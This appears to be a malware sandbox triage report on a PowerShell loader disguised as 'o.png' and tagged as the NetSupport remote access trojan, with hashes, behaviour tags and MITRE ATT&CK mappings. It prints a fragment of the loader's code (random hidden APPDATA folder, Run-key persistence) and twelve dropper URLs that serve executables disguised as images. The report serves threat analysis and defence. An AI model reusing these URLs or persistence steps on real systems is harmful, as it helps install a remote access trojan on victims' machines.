netsupport | eca9ad453dc403d8557c7f31e19504790527ef09b33d0678af947201522b56e4 | Triage

Sharing

General

Target

o.png
Size

1KB
Sample

241021-xdck5s1djb
MD5

1cd885f4c6f1c7c1dc41fa8947ecba9c
SHA1

69888380e344b7e288fc10717f5bc7c7c4fdf805
SHA256

eca9ad453dc403d8557c7f31e19504790527ef09b33d0678af947201522b56e4
SHA512

4131654bb4517424e807d8d00cb6fcdc9f96613067dd8a513ae68a8c6258d978ba36c4940204e3f5bedbda246e44c25caf0fdd9881e897b6b8a3e01cedcba894

Score

10^/10

netsupport defense_evasion discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

1

ipconfig /flushdns

2

3

$randomFolderName = -join ((65..90) + (97..122) | Get-Random -Count 6 | % {[char]$_})

4

$randomFolderPath = Join-Path -Path $env:APPDATA -ChildPath $randomFolderName

5

New-Item -ItemType Directory -Path $randomFolderPath

6

7

8

9

$Pach = $randomFolderPath

10

$Run = 'HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run';

URLs

exe.dropper

http://traversecityspringbreak.com/o/1.png

exe.dropper

http://traversecityspringbreak.com/o/2.png

exe.dropper

http://traversecityspringbreak.com/o/3.png

exe.dropper

http://traversecityspringbreak.com/o/4.png

exe.dropper

http://traversecityspringbreak.com/o/5.png

exe.dropper

http://traversecityspringbreak.com/o/6.png

exe.dropper

http://traversecityspringbreak.com/o/7.png

exe.dropper

http://traversecityspringbreak.com/o/8.png

exe.dropper

http://traversecityspringbreak.com/o/9.png

exe.dropper

http://traversecityspringbreak.com/o/10.png

exe.dropper

http://traversecityspringbreak.com/o/11.png

exe.dropper

http://traversecityspringbreak.com/o/12.png

Targets

- Target
  
  o.png
- Size
  
  1KB
- MD5
  
  1cd885f4c6f1c7c1dc41fa8947ecba9c
- SHA1
  
  69888380e344b7e288fc10717f5bc7c7c4fdf805
- SHA256
  
  eca9ad453dc403d8557c7f31e19504790527ef09b33d0678af947201522b56e4
- SHA512
  
  4131654bb4517424e807d8d00cb6fcdc9f96613067dd8a513ae68a8c6258d978ba36c4940204e3f5bedbda246e44c25caf0fdd9881e897b6b8a3e01cedcba894
Score

10^/10

defense_evasion execution persistence netsupport discovery rat
- NetSupport
  NetSupport is a remote access tool sold as a legitimate system administration software.
  rat netsupport
- Blocklisted process makes network request
- Downloads MZ/PE file
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
  persistence
- Hide Artifacts: Hidden Files and Directories
  defense_evasion
behavioral1 behavioral2

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

PowerShell

Persistence

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Defense Evasion

Hide Artifacts

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

System Information Discovery

System Location Discovery

System Language Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Tasks

static1

behavioral1

defense_evasionexecutionpersistence

behavioral2

netsupportdefense_evasiondiscoveryexecutionpersistencerat